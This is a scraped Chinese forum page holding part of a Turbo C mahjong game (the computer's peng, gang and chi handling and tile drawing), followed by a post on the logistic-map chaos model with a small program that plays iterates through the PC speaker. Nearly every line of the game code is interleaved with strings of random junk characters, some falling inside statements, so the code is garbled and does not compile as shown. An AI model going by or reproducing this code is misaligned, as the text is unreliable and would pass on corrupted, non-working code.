' q" Z$ G9 }  R9 R( ?}6 w! [( P6 l) L0 r1 K6 v0 G
if(every==7)
" C3 t6 u* V+ c) N! Q9 i9 Z6 p{6 }7 x: {& E1 V" N2 \( k
x1=160;
% l8 @- H& P! ~# W0 j3 `+ i$ g' Xy1=165;5 O* m& n0 [: L. P
fillRectangle(x1,y1,x1+20,y1+4,0);  U' ~  \+ ~3 e& J2 L
}
0 _+ w0 v0 {2 g' D+ B. `3 p) Z0 _if(every==8)
, O- S) q! y- d4 f9 @- ?{
! E  v& d& x; s) A3 g) Nx1=180;
, e& Y/ K1 t1 {, [1 ~$ Z2 v2 ay1=165;
- Y# N; O. _6 a# ?9 D  E7 ZfillRectangle(x1,y1,x1+20,y1+4,0);8 W% S+ ]/ p. c, h' {
}
' [' A3 u2 V# d9 Vif(every==9)
2 ?; l  B5 e! f7 \+ A{8 t6 L' ^; ^& o  T
x1=200;. a* g. o, H, v1 G" h; {
y1=165;* R4 |$ L( f! s, }) D1 Y. C$ r, F
fillRectangle(x1,y1,x1+20,y1+4,0);+ S: Y9 T" X' x' r* S; b
}
: X* \. `$ w# X6 F, V* S; \if(every==10)& L% q/ X: e) Y9 F4 p* R( J& [
{) K3 Q! C" {, U3 s, Q
x1=220;% p0 t  G$ J3 e9 Y  ]4 \  Z
y1=165;( |6 m. n& f3 G% _+ h; s. m' U
fillRectangle(x1,y1,x1+20,y1+4,0);! U# u5 {3 F, K: {, G6 e  m
}  p1 T7 N3 M% W) T
if(every==11)4 E- Y: L/ V; s4 l, d) v8 z: V
{- f5 ]# ]& `- {7 _- q
x1=240;
8 |! w8 f8 l( m1 K% F" S4 O4 Py1=165;
3 F! ~5 p  c# Y; {fillRectangle(x1,y1,x1+20,y1+4,0);
9 j3 A3 ?* p8 V+ B! k6 }( z% S! x}
1 @1 T) f, t2 |) O, Gif(every==12)4 T+ y0 k  Y) P
{) q. D0 d1 G5 ~! v" D: d7 V5 U
x1=260;
& Y- P% W- e* s7 r  [& v$ r# O# {y1=165;. G6 |( x) _$ j8 }6 `% q
fillRectangle(x1,y1,x1+20,y1+4,0);
- t& B; x2 O' E: \}
$ L5 I) P% T9 J; I
4 m) m4 n6 x1 @7 v1 czz=0;9 Q% `+ l8 ], D2 Z
every++;+ V; ?9 A5 E- u, E$ z! S8 L# W
z=z+20;) ]; k' }$ Y* |
}
* s& f7 i( a$ a7 y3 ~9 gshowbmp(every);
) p9 u6 @- j9 T3 Q, F, Rkey=keyy;
" M9 k  G+ c& J& s4 j( yif(keyy==ENTER)
9 g8 f+ r% E2 O{
5 x( o) v. O8 W; |rgzn(every); /*********************/
: ?2 k! d- R/ I: F; ?: nif(sing==1) /*如果可以乓,做相应的处理*/
9 P( o& v+ a  w7 m  J{ + r' \0 R  d5 N7 C* x3 ~2 w7 W
kkk=0;
" B" h/ e! u  ?- jkkkk=0;
1 m5 a" B. B& x" ?while(kkk&lt;=computer.m)( n; B8 e4 }5 c& T8 Y* y* e6 a$ {
{
2 s* u% {4 M3 F( t8 M* vif(computer.pp[kkk].p!=1)
* ]9 h/ w- q1 m. x2 \# c) f7 m{
# Z' h  ^5 r. b. {1 ?! O0 Ycomp.pp[kkkk].k=computer.pp[kkk].k;0 V- H" }" J; y* o8 z
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;, e5 x. w0 j1 I$ r9 J- s9 C
comp.pp[kkkk].number=computer.pp[kkk].number;
3 l* |& W" \1 f% E0 gkkkk++;
1 t, s. @* I- V" ?. @2 C# j6 D}
5 m  k" i9 I* Z0 a) X! ~3 Qelse
, ]; P: @0 {5 B; H{
5 @% n3 Q  L8 v1 Em[computer.pp[kkk].number].data1=1;' j# K( t) @" B' `5 S" E6 u' m6 `
dwei=computer.pp[kkk].number;
$ G1 e" H) C0 K0 Ncomputer.pp[kkk].p=0;
! @' C: C. @5 O, ?0 r( O}) a! l! \0 y! _
kkk++;
+ r- V# r5 e. G! Q" _: \9 F}1 W. F' p: ?6 C2 P
ll=0;
: S; z5 n' \9 u, O& ^# @
. T7 u5 V& _4 f/ L9 Kwhile(ll&lt;3)
' z: y, K# d; m& L) v; R{ zl=zl+20;$ {& a! ^; p: F+ ~. G1 n& x9 o1 M
bmpp(dwei); /*显示乓的牌*/# h4 [) ]/ \, j+ w3 c: ]
ll++;
1 W# S$ m- H* Z5 a% F- Y8 a* E}
  o. c; \$ J2 B$ ]. E6 ?  B3 F( `" S7 [/ q. b9 L
zl=zl+9600-60;
. Q: W' G" ?4 H4 y3 W  X/ P8 }8 Tkkk=0;' V8 ^8 g) Y# p# ]0 A: }; M6 ]) E3 \
computer.m=computer.m-2;1 y/ u% {4 Q" s; y' Z/ J
while(kkk&lt;=computer.m)1 ~: I1 m8 h) p% v7 @
{
" B" [" Q5 [* L/ \' I* ^" V+ Y0 Kcomputer.pp[kkk].k=comp.pp[kkk].k;: }, A( }6 G% q0 Q
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;9 p1 o- N6 P! O. a( [. ~; n  u
computer.pp[kkk].number=comp.pp[kkk].number;: C/ V! b5 A! g0 g  p. P
kkk++;+ x. ?2 r; X  b! r
}* F1 d- f% h! Z1 \$ J- d, ~
ll=0;  O7 R) l7 r7 r* h. q
temp=random(computer.m); /*出牌等待完善*/
8 F0 \$ u# L. qzyy=zyy+9280+20;
9 l+ b5 T( {8 mshowcbmp(temp);) i4 P6 \* H# M" e
zyy=zyy-9280;8 U! l2 U( w0 ^3 h" ?: M" b* h
/*****/
! y) V' c: m1 Z& Trgznme(temp);
% M$ M# z: m& v7 l/ |0 kpanduan();
& I* H: ?& a" y/ V+ ~% Xif(me.m==0)
  \% ~7 t5 a. e( _( Tif(second==1 &amp;&amp; threes==0)9 Q2 y) w" J# q
printf("you win!");
/ g( U3 y8 i3 K+ l; E9 {9 Z& D1 pif(me.m==3)8 e( s( h1 D5 Z5 n
if(second==1 &amp;&amp; threes==1)6 R9 c5 o$ W; H4 s
printf("you win!");- s7 ]& n# ~# \& v
if(me.m==6)
, z: y* \, A- Hif(second==1 &amp;&amp; threes==2)' p5 V& b, N4 ^+ F+ e  S9 k
printf("you win!");
) `7 [3 Y/ I/ O. E; Nif(me.m==9)
+ ~& R+ \$ F( x, Y8 k# e5 F& b  tif(second==1 &amp;&amp; threes==3)
( b: I4 m! S2 W' o- f% ~( mprintf("you win!");
* y; `9 i( f; X5 @0 `0 w" Gif(me.m==12)% P# w8 c& B, R, U: D
if(second==1 &amp;&amp; threes==4)' f5 V& n) G5 W$ m
printf("you win!");
8 H5 C8 d9 i# c# ~4 I+ j% [/ e+ l; F( l
kkk=0;
/ x$ v$ X8 v& ^kkkk=0;$ b& x8 `+ s- `0 m
while(kkk&lt;=computer.m)& j, T7 K, R% @: t7 C
{: ^; M8 j4 i9 ^, P2 S9 Q" D2 q
if(kkk!=temp)' v, s1 M' f1 b1 U; c$ H8 U
{, d: e6 B0 L  D) s) W! J; E
comp.pp[kkkk].k=computer.pp[kkk].k;
8 P/ p' Z7 x  |comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
) a1 @8 l( C& M3 w. D; ]$ T5 rcomp.pp[kkkk].number=computer.pp[kkk].number;
( ?* x$ l0 m+ M6 Y3 s, z; \( P" y0 rkkkk++;
+ I3 h* Y/ V4 O( q! J}
% S( ]7 V1 v1 V) a+ telse- Q( w5 Y, J6 G* z! O
m[computer.pp[kkk].number].data1=1;
* L# e* B$ c) m. akkk++;
) R# ^6 [# d0 h5 v$ l}
, D) E: Z$ n4 U0 ~kkk=0;
! s! F5 d1 N) s% Bcomputer.m=computer.m-1;; x' t  g: e) j" P: w
while(kkk&lt;=computer.m) ( R/ U4 Z4 n- G! H- c
{+ @0 Q3 x+ {) R* I3 }
computer.pp[kkk].k=comp.pp[kkk].k;. \+ ]# u$ E, P1 U! C3 O2 `
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;2 x/ {1 }/ C+ |! }
computer.pp[kkk].number=comp.pp[kkk].number;. L( T$ w" E& E2 O8 s! p! [2 f: d
kkk++;0 H* |) K1 R% r. @
}9 V! V+ |  i2 _  \
fillRectangle(0,0,320,30,0);2 n! k# {8 d# p; ^- S. ~
n=computer.m;4 X% l+ g3 I8 D, w% @3 p( T9 K
ll=0;
# i4 O! n; f" Y9 Kzy=0;7 y0 |5 B9 s" C5 D5 p1 P( G4 K
while(ll&lt;=n)
' m) @. J, J5 S3 w+ h{
+ K1 j' x) W  o# u& Lzy=zy+20;: \) g( b3 k$ R6 @3 I/ _# c
showybmp(ll);" C& N* w8 y7 ~
ll++;! x# t  p) \' T, |( R2 o
}
6 `7 L4 l4 }& n) K0 m4 q8 e  Mll=0;( K; L. E" y1 E
getch();
6 w% s4 h# t* T+ Osing=0;, A0 r: q/ {. n; u
sing1=1;& l: x' v# C; |6 m# t
}$ K2 A0 V( G$ M- m, A. F

  D  @6 T* J- @if(sing==2) /*如果可以杠的做相应处理*/0 s8 t+ Q8 x) g0 Q& V
{$ `3 n9 S- F  \& L, e
kkk=0;
! r+ `+ S: W* M) Gkkkk=0;
( k& v: s- @  K: H! kwhile(kkk&lt;=computer.m)# p+ I( U) Z2 P: F& L% M/ g
{# k" [  A; a! e0 u, L( _2 J' Z
if(computer.pp[kkk].g!=1)7 p* C7 }7 d8 H" W0 p5 l& S
{
/ A- @$ i5 L& N, A& J) jcomp.pp[kkkk].k=computer.pp[kkk].k;5 ^9 O; {1 c% x0 A7 s7 o' w6 e
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
% @# i' g2 H6 f: Kcomp.pp[kkkk].number=computer.pp[kkk].number;+ N" v9 R4 l- @
kkkk++;
/ M5 [# o' m4 i" I, S& L}
. I/ g, A5 Q0 s5 x3 O+ jelse, t. k0 [0 J. K; T% I
{4 o3 M4 U& u* H! Z8 h  W9 g
m[computer.pp[kkk].number].data1=1;
& _8 ]. I5 z* J& jdweig=computer.pp[kkk].number;8 o' O# N4 A( L' _6 T
computer.pp[kkk].g=0;
" Y6 C4 H; M- S3 D, l8 G$ ^}
1 T2 O7 }) C7 J( Z& g( H# C* Vkkk++;: E" y% }; \& Z! V( g  Z
}! e0 g5 T% M! X' `* Y5 f
ll=0;
5 k6 O; p+ |0 `$ r- c
7 @' n1 m& M8 E# Awhile(ll&lt;=3)
7 J3 T. W3 O$ A- K8 j{ zl=zl+20;7 A+ b, @! ?: K( i9 u9 ~) k
bmpp(dweig); /*显示杠的牌*/
. j6 Y6 v% V( s% g. c1 c1 Q2 _# xll++;. @/ N; y& L( b
}1 t. b$ q0 C* A
zl=zl+9600-60;0 y1 D6 z2 E) x0 N1 `# B
kkk=0;
% g6 ?) E+ J5 P8 W0 G5 X# L# R. K+ Icomputer.m=computer.m-3;% m! b4 R" l# K0 x* V
while(kkk&lt;=computer.m)
& Y4 ^$ Z9 k% e. @! t  B{
; J, @/ B# A+ p9 W' O/ Ecomputer.pp[kkk].k=comp.pp[kkk].k;
* i  Y) e( G0 c4 X' Z6 Lcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
5 v4 L7 Y: ?+ w# c; c  H6 Ccomputer.pp[kkk].number=comp.pp[kkk].number;7 O% Q4 m# w" L0 D; N! o" q
kkk++;/ }- P& A( s/ y! O! g
}0 @1 ^/ |4 v, _4 y8 K9 v
kk=0;! e! H+ C* w6 H. Q$ D& i
computer.m++; /*加一个牌的容量*/
* X$ Z% G; W, b& r! z$ n, I# ^while(kk!=1)0 }8 ?8 h( C1 M4 D, R  i6 g! D2 L
{2 X5 j1 e# w7 i2 L3 z
temp=random(136); /*出牌*/
! @% g7 D0 `$ A% h# ~# s5 Qif(m[temp].data2==0 &amp;&amp; m[temp].data1==0). Y9 |4 E& j$ T! c, b9 [
{6 N$ M: m" V7 p) O7 A: p6 Q4 [  j
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
7 j6 g5 `5 V% u+ h1 C9 |7 wcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/, {7 L* @* n8 l$ M1 K" O1 z
computer.pp[computer.m].number=temp; /*第几张,用来排序*/, l, u( S' P4 ^
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
. M0 w2 b6 E4 L0 Dkk=1;3 r2 v7 [, p, c# R5 m5 u% j; {
}
/ ]# O) c( E0 u! `0 E+ r}
1 D/ U4 C6 W& ]2 `# a5 i) [comlipai();( J7 V( k  c7 N$ t0 K. X. f
temp=random(computer.m); /*出牌,等待完善*/: K8 [- D& D$ i2 v2 P9 h' N
zyy=zyy+9280+20;
5 G1 h$ d" m- U3 ^9 g$ t& i# ushowcbmp(temp);3 M' U3 C+ H9 _- |& [4 Y+ J3 ^8 g
zyy=zyy-9280;! Q/ E4 v4 P: ^0 ]& D$ [2 R: W+ I4 d
/*****/
- M9 [! p1 Q# ~- M5 ?" O) R6 Xrgznme(temp);
- J- P! Q4 p1 A1 Spanduan();
! P4 K# q. w! G: T; h' Vif(me.m==0); M  W- |- W) b, u2 v
if(second==1 &amp;&amp; threes==0)8 f: J- \  U1 f0 b$ L
printf("you win!");
/ i* h, F/ }8 j/ \if(me.m==3)
) l! _, k: R& T: Qif(second==1 &amp;&amp; threes==1)
5 x' J. g. o9 K2 V  gprintf("you win!");
% P5 j1 _+ W% c2 K5 }. h; X+ N9 Dif(me.m==6)- c+ ^. [" I2 X9 P
if(second==1 &amp;&amp; threes==2)5 ~8 T2 v' e7 A) z3 q. j) P# q
printf("you win!");
2 L4 o+ U/ J' j4 N2 |% q' yif(me.m==9)
1 j4 N* }2 k+ k5 T! j9 ]if(second==1 &amp;&amp; threes==3); f/ Z9 \: g: n. g. L
printf("you win!");! r6 n4 C$ [; t  ?% O1 r
if(me.m==12)
7 X; x, Z, T, ^if(second==1 &amp;&amp; threes==4)9 R. K6 f3 [% F7 D) S" e6 f; f. M
printf("you win!");
  [3 v, t2 g9 U& v1 F
. E: b/ ~8 M7 t3 z# Y1 ekkk=0;/ f% Z% a# @4 i
kkkk=0;5 D2 }+ L/ J+ F# I, E& \5 r
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
" V8 U1 `3 y: }4 s; m{
/ k8 Q) |! b9 `+ B  m, J( iif(kkk!=temp); Y9 K$ w* H: @: F! b# i
{
" S9 q1 D3 C! L5 z& N  d; Ncomp.pp[kkkk].k=computer.pp[kkk].k;& E$ d" X0 _0 T2 A, E$ Z; u
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
& w$ ?. [$ o6 Dcomp.pp[kkkk].number=computer.pp[kkk].number;# P) }5 w  A6 Y
kkkk++;
  @" V/ B0 P* S' ~$ S( F" E7 \2 ]}
, m4 N  s$ g; kelse
+ O- v* d) B6 Nm[computer.pp[kkk].number].data1=1;
9 c6 h2 @/ P1 H8 Tkkk++;" U7 o  j3 C3 a; p/ X5 ?! Z- h! d
}" c7 P6 C6 w3 x1 @7 a
kkk=0;: ]$ z' H& _* G* }+ L! Q3 {9 l
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
9 @- f8 v6 u/ zwhile(kkk&lt;=computer.m)
& R* c/ y9 H, P) _% a: }0 R{
9 D+ b5 x9 Y# Z7 y5 p: c' {' }computer.pp[kkk].k=comp.pp[kkk].k;
* ]; h  l9 m1 e  p7 Y# ?& dcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
6 J: a/ M$ m6 s! J6 N8 E; hcomputer.pp[kkk].number=comp.pp[kkk].number;$ R$ Y9 V5 m' m' x4 j
kkk++;
* M; a' T$ J; }3 _}
  h/ V: T/ b/ c1 A9 i( L, C4 Q9 q# g: IfillRectangle(0,0,320,30,0);9 }- Z7 B( r; z, \) W! Q, d: |
ll=0;
9 e8 x$ y2 h% W2 Yzy=0;
) e# C( e$ Z6 i! t* Z( d7 `% ^0 Ywhile(ll&lt;=computer.m)
( i0 i7 X" i' ^5 K7 m! W$ X{
) m( ?0 K' w0 e- u+ U0 |7 I+ nzy=zy+20;* C# m( f9 _/ f9 [1 ?, \+ V! t3 N, A
showybmp(ll);
3 w+ ~7 r: G* n9 ?ll++;6 t' M2 A* S! @0 P2 j% k
}5 _& R# ]5 B# b2 y
sing=0;
1 T% N# S# P. f0 k7 q3 y) M; Q* Using1=1;# h' j; d+ U6 o9 `3 a; ?5 U
}
% e2 W1 D2 K- zif(sing==7) /*如果可以吃的,做相应处理*/( h( z. K2 `7 N" O* L8 z
{ nn=0;8 g( ^# Z2 f$ ]/ I6 ?# e8 z; L
kkk=0;; H. r; N9 e; N& C3 |  {& }% v  n
kkkk=0;. E3 q, n; H2 q4 y, l7 m- V! Y
while(kkk&lt;=computer.m); a! d$ a# Q& g; Y
{
& c# t  ~% r" |+ Sif(computer.pp[kkk].c!=1)! E: a1 p1 t  [! }. W' H" ?( i& c
{
2 J, R( D3 s& H7 O3 @comp.pp[kkkk].k=computer.pp[kkk].k;4 J$ N8 `6 X1 r6 @  p2 @
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
! r  w; f, z$ n+ j: O) ncomp.pp[kkkk].number=computer.pp[kkk].number;
) ], h' ^9 ~- C: e3 Ckkkk++;% W5 N& }3 o3 m9 @& r6 v2 n( w
}
3 Q+ x( }) F7 oelse  p7 f* O* L" r+ H  z4 Z
{
9 k' ^( q/ m" x# q1 h8 N9 {6 |m[computer.pp[kkk].number].data1=1;
$ S, ~( s* C3 x) ?5 d+ Ldw[nn++]=computer.pp[kkk].number;* v" D, g+ V5 v3 F- F& p9 |
computer.pp[kkk].c=0;
( m; w, t4 x# r, t; s}* ]/ x7 L3 x$ B' d; O. w# X
kkk++;- t, y9 S  G2 \
}
  J) ?" c# D9 L; k  u1 R7 \
1 ~# S! ?. l1 r) R( Oif(me.pp[every].number&lt;dw[0])
2 L9 C6 o5 z! d# S{
$ |' b, l& D/ s1 b# x' ]# @5 B3 ~3 Ldw[2]=dw[1];" d( ^! O" [) [4 j1 }  p# Y5 X8 ]
dw[1]=dw[0];
4 b' ]) g7 x+ M& k( vdw[0]=me.pp[every].number;4 M6 T2 C5 i9 i9 c7 ~! l
}, A  P# R! |' t" y" E6 ]4 Y/ s8 J
if(me.pp[every].number&gt;dw[1])0 a' }0 h, D3 l: i& Y$ ]9 S
{
% a) w6 I4 t4 @  ~6 Jdw[2]=me.pp[every].number;
/ F" N$ p/ |. @4 Z+ Y}
9 }8 ?+ V" k0 k7 b; y3 h( Eif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1]). E4 N' E; R2 i% s2 d
{
' X4 l' n& J3 @& h4 A4 q1 n  c: Bdw[2]=dw[1];- m' x5 C8 u! w
dw[1]=me.pp[every].number;
" r8 Z& c5 p( \7 w; q}
( W, Z. L# x; ~* m) o. mnn=0;8 f$ C! e1 |( w6 l; m3 O/ e
while(nn&lt;3)+ _3 D  ~- P1 r: A. `5 V
{ zl=zl+20;4 W% U+ \6 {& X+ A" U/ W; |
bmpp(dw[nn]); /*显示吃的牌*/  J  E8 z2 [, w
nn++;# D6 {* @! U/ h3 v$ k
}& [+ a% W* ]5 `" f! E. ^- q2 t
zl=zl+9600-60;
0 X& Y. B: O0 ]* M" W1 [kkk=0;  }$ f" C9 a/ t. ]2 h5 ~& q
computer.m=computer.m-2;
5 R& T) M3 Y$ ?: ^& R/ t" bwhile(kkk&lt;=computer.m): O$ Y4 u5 z! ?+ r8 d. z
{
( I2 \: o" M- l1 S& xcomputer.pp[kkk].k=comp.pp[kkk].k;
' J& X6 M8 k* t8 N9 _; }8 O1 tcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;- s/ u5 z8 o0 _2 h5 ?# Q# U
computer.pp[kkk].number=comp.pp[kkk].number;6 K7 k/ r$ J0 F% x" G$ t8 J( R
kkk++;* s. c& f- L$ y4 D2 p6 h; f
}$ h+ r; f2 B# y, E0 Y
ll=0;
3 Y5 w' r# f7 A5 H& jtemp=random(computer.m); /*出牌等待完善*/, W3 p* [! c! C% @( e1 ]$ P
zyy=zyy+9280+20;
: U# ]' R0 k2 E8 J' {1 D1 \4 C8 T7 ashowcbmp(temp);
/ n/ r/ `% u2 G! t5 lzyy=zyy-9280;0 y) |" \( L8 r
/*****/
& r" H2 d; {% O3 v4 x) g  {3 c8 Grgznme(temp);
' s& W5 n3 x# R# K: Epanduan();$ z; O" Q% p; F! e3 ~
if(me.m==0)
1 f: K! j/ Z+ P: q: Fif(second==1 &amp;&amp; threes==0)1 D& h1 b# G2 U8 S- c4 H
printf("you win!");7 ?6 y) n4 p) \
if(me.m==3)
) |6 Q- r' A" H; J. }, n* Fif(second==1 &amp;&amp; threes==1)
6 z% X3 S5 x: z, @printf("you win!");1 A$ a* _7 v4 u* v( B1 w
if(me.m==6)
7 G( B) \# N% e; t9 a+ g- W2 V2 Qif(second==1 &amp;&amp; threes==2)
1 C5 Z5 ?  k2 R, ^5 f9 Kprintf("you win!");
& e6 u, P" P" Nif(me.m==9)1 U7 l! r! H5 [" _. m, R
if(second==1 &amp;&amp; threes==3)
7 ^3 s" X- O+ N( b$ ^* ^& x% @2 j) Pprintf("you win!");
8 B% ^/ D; D, |4 t, |if(me.m==12)
4 B8 ?" E6 @7 A: H. cif(second==1 &amp;&amp; threes==4)4 o8 u# x9 W' q# P  c! G" w
printf("you win!");4 A2 ^; i; V0 u) ~
0 |0 }& F& n) Q( f' g+ o- A
kkk=0;
' [( X: Z4 o0 J; A  d1 q2 i6 Ikkkk=0;
) ^, y0 X: }& Wwhile(kkk&lt;=computer.m)
* m$ Y- w) s7 ~( D{7 T( M! M  {) ~5 N9 n
if(kkk!=temp)8 G- M  f: X/ ?2 N
{! ~3 g; X- Z: |2 N2 W) p
comp.pp[kkkk].k=computer.pp[kkk].k;% ?  L2 D6 \" r2 s: r& P3 F
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;: B# O' i4 k1 p
comp.pp[kkkk].number=computer.pp[kkk].number;
" b& _  |% A) J5 V' \kkkk++;
0 a  ?3 M% J# A  y0 u! H}  \3 k; X$ V; I! n. E
else* N) }* A6 a2 x) j' T$ @
m[computer.pp[kkk].number].data1=1;( H- z' l) E' \" F9 A
kkk++;
6 t0 S# ?  r5 ~% R}
8 o- m: b8 \; G, J3 ^8 \8 dkkk=0;$ {. r7 ~& d$ ]6 e) \; p  N  U; h
computer.m=computer.m-1;8 Z0 N" p8 p8 L
while(kkk&lt;=computer.m)
% e: i7 U6 l. A0 c$ s. U{
$ Z; |% |- p: e- F- wcomputer.pp[kkk].k=comp.pp[kkk].k;
; S2 l# N, F" N/ v5 u; Ecomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;0 R2 a4 h& ~, l! y+ i& G
computer.pp[kkk].number=comp.pp[kkk].number;
# V9 q9 C: K3 }. U+ Pkkk++;$ Y, Q( H" K1 A5 u
}6 d. g- W! U8 @7 f
fillRectangle(0,0,320,30,0);: Z3 K5 R0 E' x1 ~0 J* M4 d8 U
n=computer.m;
% Q- H( ?" v0 @4 N9 n+ y" Pll=0;- \% `" J' d( y* I& Y) u
zy=0;4 j# k" n- v) _4 }5 [
while(ll&lt;=n)8 u1 d9 l; ^2 A/ a5 L* e
{$ y# D4 N. y1 j( K" G- b: q
zy=zy+20;
6 E$ c# W6 E# |5 nshowybmp(ll);$ l& B; [. _( r+ Y0 Y
ll++;
: X: i& ^$ e, H1 b, J$ F}! G0 ?0 ]" Y8 D( u2 ?  a4 G% S+ ~

0 |9 t4 b3 s/ R( B$ Ggetch();
7 p% ~- n+ }* b5 Q- Using=0;
9 X$ ~% H# h5 T0 w" esing1=1;
# U% Z7 U* `* A: {5 m: K; ^! g3 I}' x0 P9 R! ?) H/ [! q
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
# x2 }$ F# M- X5 p* l{
. e- T7 o8 y/ T& ^6 q) dkk=0;! k* P: p1 ~# }0 e2 ~9 L9 j* m
h=me.pp[every].number;8 n! H3 ~" N( b
m[h].data1=1; /*此牌已经无用*/: u1 k& c* J$ c6 P* S) _4 N, l
if(sing1!=1)
' r4 A" g& Q. z! g9 a4 r{
6 L8 E7 _6 T" W2 t0 wzyy=zyy+9280+20;
% S0 a" s1 f& ]7 B& ishowbmpd(every);
& k8 `2 S7 H2 E( azyy=zyy-9280;, C* V  [2 z* L! Z
}
7 c/ u8 d% b5 |, i9 nwhile(kk!=1)8 G. Z& W& r& f, y$ R
{" a2 q$ a+ J% h' i$ b3 W! v, V' H
temp=random(136);. t. v% O  }7 d# G1 b; d9 d
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)& m4 z7 M' ~9 K9 R" O. W# B
{
! ?% c$ b0 ~( j; N+ X6 X7 Ime.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
* q9 e8 c7 H9 Bme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/4 D- T+ R  a+ I0 [0 u$ x
me.pp[every].number=temp; /*第几张,用来排序*/
/ q& Q, T! Y+ c6 O, O; bm[temp].data2=1; /*判断牌是谁的*/6 _- z, F1 T- Z0 i. r3 ^& p
kk=1;! V! [- W: x! T2 I
}! M5 }8 w- a  t- k" m$ ~( _
if(kk==0) /*判断如果又选择了,就从新再选*/
# g4 M4 v+ r7 Rkk=0;( D5 t' c7 I- v$ v
}2 R; |! s( x3 c& n# R1 M* y, n
}( V# j0 _. s6 v7 P1 T
sing=0;# h) L9 o% ^* x: U- W
sing1=0;
  R: \9 ~6 Z3 @/ H0 Ymelipai();! N7 d( e6 i+ K( F. E# i' {
n=13;" i9 y* f- O# K( w
z1=54400;4 C) A% [5 Z- I# u% ]. b' y* Q; f
l=0;8 T' u( p" b* A( N) X% x' h
g=z;/ U# ]5 S! E+ S6 k1 A2 Y$ s
while(l&lt;n)9 J: \0 m8 _2 j# g8 R% f# p; q
{ z=0;8 t* ?, k: B( U" w) y& n
z1=z1+20;( C0 f) }; d2 x; ]  g2 y
showbmp(l);& }/ v' e- L, h& B( ?- t: G9 R1 B
l++;
4 x: _6 ]" |; {# [9 r$ g}
8 \* n; E6 q3 U) f( ]& p! D% P5 yz1=0;. {% Z% z$ \7 Y$ ^  P
z=g;" Q& Z, l% N' K7 w, m) v% o
}8 Z4 O( _3 w9 I1 X) @3 Y- ~
keyy=0;- p2 l2 z/ r3 T6 @0 L
}0 i' v, z1 t+ C) u8 w/ }
7 ^9 m9 D0 v' i& W+ u
getch();0 Q2 Q* ~/ V' l0 T
OUTVGA;
# m1 M2 M8 v' J0 G! ]- i7 A}
; h" N# [! t; v# b. c</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
# R. R7 s8 E) Z% S4 J- w# j</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:( Y# J1 `! U9 T6 Y
# t& W2 G  M( J* g& A+ K* e
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
; J* Q8 Q. d: {3 I) d1 F" O5 H% Z  <FONT color=#009900>#include <DOS.H>8 G4 H, x5 r6 [5 x( X" o% V
  #include <STDIO.H>- A. O" b) O; y
  main(){+ L) R% s! I9 B
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
# f# V+ f8 E! {1 z3 l! d+ |  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/4 p' N' j* p1 L; }# P6 a
  /*i,j用于循环记数*/
3 o4 i! m9 m! Y( t+ L" P7 W  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
9 E% y8 H- V* e: ^9 c  fDis=fMax-fMin;3 |+ P$ k0 p/ |* N$ V8 A
  for(j=1;;j++){
4 E: C) w6 u4 l! K7 g) ]& D  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
4 [( ^* |2 f9 y7 v$ I0 Q1 g  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/( k6 f. \5 D+ p# U. ?; s; t( L
  scanf("%f",&k);
  f% ~' `% i6 k& _+ n  if (k==0) break;
, u3 T' |) f0 i9 h8 L  for(i=1;i&lt;100;i++) /*去除开始的100个点*/$ H* H$ p' ]9 X( U, H9 N2 M1 M
  x=k*x*(1-x);
/ X" \# s0 y3 U- r/ N  for (i=1;i&lt;100;i++){* Y$ u% D0 O3 D
  x=k*x*(1-x); /*计算x的值*/& G; X8 f" q. Z% v7 ^
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
9 N# ~& N$ d) L% P- H; E5 k$ O+ C  delay(1000); }
9 U0 r+ ^8 t% ?2 @, |  nosound(); }}
